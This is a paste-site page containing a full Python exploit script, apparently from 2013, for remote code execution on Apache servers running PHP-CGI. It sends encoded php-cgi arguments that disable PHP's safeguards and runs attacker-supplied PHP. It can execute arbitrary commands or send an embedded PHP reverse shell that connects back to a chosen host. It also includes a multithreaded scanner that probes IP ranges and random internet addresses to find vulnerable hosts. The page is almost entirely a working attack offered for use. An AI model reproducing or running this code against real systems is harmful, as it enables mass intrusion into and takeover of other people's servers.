Apache + PHP 5.x - Remote Code Execution (Multithreaded Scanner v2)


SUBMITTED BY: Guest

DATE: Nov. 25, 2013, 12:05 a.m.

FORMAT: Text only

SIZE: 14.1 kB

HITS: 1919

  1. #!/usr/bin/env python
  2. #
  3. # ap-unlock-v2.py - apache + php 5.* rem0te c0de execution 0day (better version)
  4. #
  5. # NOTE:
  6. # - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :(((
  7. # - for connect back shell start netcat/nc and bind port on given host:port
  8. # - is ip-range scanner not is multithreaded, but iz multithreaded iz in
  9. # random scanner and is scanner from file (greets to MustLive)
  10. # - no ssl support
  11. # - more php paths can be added
  12. # - adjust this shit for windows b0xes
  13. #
  14. # 2013
  15. # by noptrix - http://nullsecurity.net/
  16. import sys
  17. import socket
  18. import argparse
  19. import threading
  20. import time
  21. import random
  22. import select
  23. NONE = 0
  24. VULN = 1
  25. SCMD = 2
  26. XPLT = 3
  27. t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \
  28. '%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \
  29. '%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \
  30. '%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\
  31. '%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\
  32. 'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n'
  33. def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):
  34. c0nn_b4ck = \
  35. '''
  36. <? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";
  37. $port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;
  38. $error_a = null; $shell = "unset HISTFILE; id; /bin/sh -i"; $daemon = 0;
  39. $debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();
  40. if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {
  41. exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);
  42. $sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {
  43. printit("$errstr ($errno)");exit(1);}$descriptorspec = array(
  44. 0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));
  45. $process = proc_open($shell, $descriptorspec, $pipes);
  46. if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);
  47. stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);
  48. printit("Successfully opened reverse shell to $ip:$port");while (1) {
  49. if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}
  50. if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}
  51. $read_a = array($sock, $pipes[1], $pipes[2]);
  52. $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  53. if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");
  54. $input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");
  55. fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {
  56. if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);
  57. if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}
  58. if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");
  59. $input = fread($pipes[2], $chunk_size);
  60. if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);
  61. fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);
  62. function printit ($string) {if (!$daemon) {print "$string\n";}}?>
  63. '''
  64. return c0nn_b4ck
  65. def enc0dez():
  66. n33dz1 = ('cgi-bin', 'php')
  67. n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d',
  68. 'suhosin.simulation=on', '-d', 'disable_functions=""', '-d',
  69. 'open_basedir=none', '-d', 'auto_prepend_file=php://input',
  70. '-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0',
  71. '-d', 'auto_prepend_file=php://input', '-n')
  72. fl4g = 0
  73. arg5 = ''
  74. p4th = ''
  75. plus = ''
  76. for x in n33dz2:
  77. if fl4g == 1:
  78. plus = '+'
  79. arg5 = arg5 + plus + \
  80. ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
  81. fl4g = 1
  82. for x in n33dz1:
  83. p4th = p4th + '/' + \
  84. ''.join('%' + c.encode('utf-8').encode('hex') for c in x)
  85. return (p4th.upper(), arg5.upper())
  86. def m4k3_p4yl0rd(p4yl0rd, m0de):
  87. p4th, arg5 = enc0dez()
  88. if m0de == VULN:
  89. p4yl0rd = t3st
  90. elif m0de == SCMD or m0de == XPLT:
  91. p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \
  92. 'Host: ' + sys.argv[1] + '\r\n' \
  93. 'Content-Type: application/x-www-form-urlencoded\r\n' \
  94. 'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd
  95. return p4yl0rd
  96. def s3nd_sh1t(args, m0de, c0nn_b4ck):
  97. pat = '<b>Parse error</b>:'
  98. try:
  99. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  100. s.settimeout(float(args.t))
  101. res = s.connect_ex((args.h, int(args.p)))
  102. if res == 0:
  103. if m0de == VULN:
  104. p4yl0rd = m4k3_p4yl0rd('', m0de)
  105. s.sendall(p4yl0rd)
  106. if pat in s.recv(4096):
  107. print "--> " + args.h + " vu1n"
  108. return args.h
  109. else:
  110. if args.v:
  111. print "--> %s n0t vu1n" % (args.h)
  112. return
  113. elif m0de == SCMD:
  114. p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)
  115. s.sendall(p4yl0rd)
  116. rd, wd, ex = select.select([s], [], [], float(args.t))
  117. if rd:
  118. for line in s.makefile():
  119. print line,
  120. elif m0de == XPLT:
  121. p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)
  122. s.sendall(p4yl0rd)
  123. else:
  124. if args.v:
  125. print "--> n0 w3bs3rv3r 0n %s" % (args.h)
  126. except socket.error:
  127. return
  128. return
  129. def m4k3_r4nd_1p4ddr(num):
  130. h0sts = []
  131. for x in range(int(num)):
  132. h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255),
  133. random.randrange(0,255), random.randrange(0,255),
  134. random.randrange(0,255)))
  135. return h0sts
  136. def sc4n_r4nd0m(args, h0st, m0de, vu1nz):
  137. args.h = h0st
  138. vu1nz.append(s3nd_sh1t(args, m0de, None))
  139. vu1nz = filter(None, vu1nz)
  140. return
  141. def sc4n_fr0m_f1le(args, h0st, m0de, vu1nz):
  142. args.h = h0st.rstrip()
  143. vu1nz.append(s3nd_sh1t(args, m0de, None))
  144. vu1nz = filter(None, vu1nz)
  145. return
  146. def sc4n_r4ng3(rsa, rsb, args, m0de):
  147. vu1nz = []
  148. for i in range (rsa[0], rsb[0]):
  149. for j in range (rsa[1], rsb[1]):
  150. for k in range (rsa[2], rsb[2]):
  151. for l in range(rsa[3], rsb[3]):
  152. args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l)
  153. vu1nz.append(s3nd_sh1t(args, m0de, None))
  154. time.sleep(0.005)
  155. vu1nz = filter(None, vu1nz)
  156. return vu1nz
  157. def m4k3_ipv4_r4ng3(iprange):
  158. a = tuple(part for part in iprange.split('.'))
  159. rsa = (range(4))
  160. rsb = (range(4))
  161. for i in range(0,4):
  162. ga = a[i].find('-')
  163. if ga != -1:
  164. rsa[i] = int(a[i][:ga])
  165. rsb[i] = int(a[i][1+ga:]) + 1
  166. else:
  167. rsa[i] = int(a[i])
  168. rsb[i] = int(a[i]) + 1
  169. return (rsa, rsb)
  170. def parse_args():
  171. p = argparse.ArgumentParser(
  172. usage='\n\n ./ap-unlock-v2.py -h <4rg> -s | -c <4rg> | -x <4rg> [0pt1ons]'\
  173. '\n ./ap-unlock-v2.py -r <4rg> | -R <4rg> | -i <4rg> [0pt1ons]',
  174. formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False)
  175. opts = p.add_argument_group('0pt1ons', '')
  176. opts.add_argument('-h', metavar='wh1t3h4tz.0rg',
  177. help='| t3st s1ngle h0st f0r vu1n')
  178. opts.add_argument('-p', default=80, metavar='80',
  179. help='| t4rg3t p0rt (d3fau1t: 80)')
  180. opts.add_argument('-c', metavar='\'uname -a;id\'',
  181. help='| s3nd c0mm4nds t0 h0st')
  182. opts.add_argument('-x', metavar='192.168.0.2:1337',
  183. help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll')
  184. opts.add_argument('-s', action='store_true',
  185. help='| t3st s1ngl3 h0st f0r vu1n')
  186. opts.add_argument('-r', metavar='133.1.3-7.7-37',
  187. help='| sc4nz iP addr3ss r4ng3 f0r vu1n')
  188. opts.add_argument('-R', metavar='1337',
  189. help='| sc4nz num r4nd0m h0st5 f0r vu1n')
  190. opts.add_argument('-t', default=3, metavar='3',
  191. help='| t1me0ut in s3x (d3fau1t: 3)')
  192. opts.add_argument('-f', metavar='vu1n.lst',
  193. help='| wr1t3 vu1n h0sts t0 f1l3')
  194. opts.add_argument('-i', metavar='sc4nz.lst',
  195. help='| sc4nz h0sts fr0m f1le f0r vu1n')
  196. opts.add_argument('-S', metavar='2',
  197. help='| sl33pz in s3x b3tw33n thr3adz (d3fault: 2)')
  198. opts.add_argument('-T', default=2, metavar='4',
  199. help='| nuM sc4n thr3adz (d3fault: 4)')
  200. opts.add_argument('-v', action='store_true',
  201. help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng')
  202. args = p.parse_args()
  203. if not args.h and not args.r and not args.R and not args.i:
  204. p.print_help()
  205. sys.exit(0)
  206. return args
  207. def wr1te_fil3(args, vu1nz):
  208. if args.f:
  209. if vu1nz:
  210. try:
  211. f = open(args.f, "w")
  212. f.write("\n".join(vu1nz)+"\n")
  213. f.close()
  214. except:
  215. sys.stderr.write('de1n3 mudd1 k0cht guT')
  216. sys.stderr.write('\n')
  217. raise SystemExit()
  218. return
  219. def c0ntr0ller():
  220. vu1nz = []
  221. m0de = NONE
  222. try:
  223. args = parse_args()
  224. if not args.t:
  225. args.t = float(3)
  226. if args.h:
  227. if args.s:
  228. print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h)
  229. m0de = VULN
  230. s3nd_sh1t(args, m0de, None)
  231. elif args.c:
  232. print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h)
  233. m0de = SCMD
  234. s3nd_sh1t(args, m0de, None)
  235. elif args.x:
  236. print "[+] xpl0it1ng b0x %s " % (args.h)
  237. m0de = XPLT
  238. if args.x.find(':') != -1:
  239. if not args.x.split(':')[1]:
  240. print "[-] 3rr0r: p0rt m1ss1ng"
  241. else:
  242. cb_h0st = args.x.split(':')[0]
  243. cb_p0rt = args.x.split(':')[1]
  244. else:
  245. print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r"
  246. c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt)
  247. s3nd_sh1t(args, m0de, c0nn_b4ck)
  248. else:
  249. print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch"
  250. sys.exit(-1)
  251. if args.r:
  252. print "[+] sc4nn1ng r4ng3 %s " % (args.r)
  253. m0de = VULN
  254. rsa, rsb = m4k3_ipv4_r4ng3(args.r)
  255. vu1nz = sc4n_r4ng3(rsa, rsb, args, m0de)
  256. if args.R:
  257. print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R))
  258. m0de = VULN
  259. if not args.S:
  260. args.S = float(2)
  261. h0sts = m4k3_r4nd_1p4ddr(int(args.R))
  262. for h0st in h0sts:
  263. try:
  264. t = threading.Thread(target=sc4n_r4nd0m, args=(args, h0st,
  265. m0de, vu1nz))
  266. t.start()
  267. time.sleep(float(args.S))
  268. while threading.activeCount() > int(args.T):
  269. time.sleep(2)
  270. except:
  271. sys.stdout.flush()
  272. sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
  273. raise SystemExit
  274. if args.i:
  275. print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i)
  276. m0de = VULN
  277. h0sts = tuple(open(args.i, 'r'))
  278. if not args.S:
  279. args.S = float(2)
  280. for h0st in h0sts:
  281. try:
  282. t = threading.Thread(target=sc4n_fr0m_f1le, args=(args,
  283. h0st, m0de, vu1nz))
  284. t.start()
  285. time.sleep(float(args.S))
  286. while threading.activeCount() > int(args.T):
  287. time.sleep(2)
  288. except KeyboardInterrupt:
  289. sys.stdout.flush()
  290. sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
  291. raise SystemExit
  292. #sc4n_fr0m_f1le(args, h0sts, m0de, vu1nz)
  293. except KeyboardInterrupt:
  294. sys.stdout.flush()
  295. sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")
  296. raise SystemExit
  297. wr1te_fil3(args, vu1nz)
  298. return
  299. def m41n():
  300. if __name__ == "__main__":
  301. print "--==[ ap-unlock-v2.py by noptrix@nullsecurity.net ]==--"
  302. c0ntr0ller()
  303. else:
  304. print "[-] 3rr0r: y0u fuck3d up dud3"
  305. sys.exit(1)
  306. print "[+] h0p3 1t h3lp3d"
  307. # \o/ fr33 requiem 1337 h4x0rs ...
  308. m41n()
  309. # e0F

comments powered by Disqus